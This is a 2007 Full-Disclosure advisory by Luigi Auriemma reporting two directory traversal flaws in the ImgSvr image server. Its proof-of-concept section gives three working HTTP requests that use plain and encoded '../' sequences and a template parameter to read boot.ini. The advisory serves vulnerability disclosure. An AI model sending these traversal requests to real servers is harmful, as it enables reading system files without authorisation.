[Full-disclosure] Double directory traversal in ImgSvr 0.6.21


#######################################################################

Luigi Auriemma

Application: Ada Image server (ImgSvr)
http://adaimgsvr.sourceforge.net
Versions: <= 0.6.21 and SVN <= 28
Platforms: Windows and *nix
Bug: directory traversal
Exploitation: remote
Date: 24 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From developer's website:
"ImgSvr is a personal or corporate Embedded Picture Web Server that
let's you efficiently browse digital pictures. Contrary to other
gallery systems, imgsvr aimed to be an easy and fully dynamic picture
server, no static created thumbnails are created."


#######################################################################

======
2) Bug
======


A directory traversal vulnerability can be exploited through the usage
of additional chars before the URI.
In my tests was good any byte except NULL, line feed, ?, :, slash and
backslash (so an amount of valid chars between 248 and 251 depending by
the location of the char and if has been used the hex format).

A secondary type of directory traversal is exploitable through the
template parameter.

If the root directory of the server is protected by authentication, the
attacker must know the right username and password.


#######################################################################

===========
3) The Code
===========


GET hello../../../../../boot.ini HTTP/1.0

GET anything_you_want../..%2f../%2e.%5c..%5cboot.ini HTTP/1.0

http://SERVER:1235/?template=..\..\..\..\boot.ini


#######################################################################

======
4) Fix
======


The problems will be fixed in the next version.


#######################################################################


---
Luigi Auriemma
http://aluigi.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • [Full-disclosure] Format string bug in Skulltag 0.96f
    ... Bug ... Fix ... The server is affected by a format string vulnerability exploitable ... The exploitation happens "outside" the server so there are no banning ...
    (Full-Disclosure)
  • Format string bug in Skulltag 0.96f
    ... Bug ... Fix ... The server is affected by a format string vulnerability exploitable ... The exploitation happens "outside" the server so there are no banning ...
    (Bugtraq)
  • Double directory traversal in ImgSvr 0.6.21
    ... Application: Ada Image server (ImgSvr) ... Exploitation: remote ... Bug ...
    (Bugtraq)
  • Re: [Full-disclosure] How secure is software X?
    ... the vendor to fix the vulnerability? ... (i.e. the bug) ... overflow in that Linux critical server if it had Grsec running on. ... IDS noticed the 0day exploitation ). ...
    (Full-Disclosure)
  • Re: IE URL obfuscation
    ... It takes only a tiny amount of creativity to extend ... The bug also helps start page, ... The slash character behavior Russ ... And what do you know - the exploitation of this bug also hides the page ...
    (NT-Bugtraq)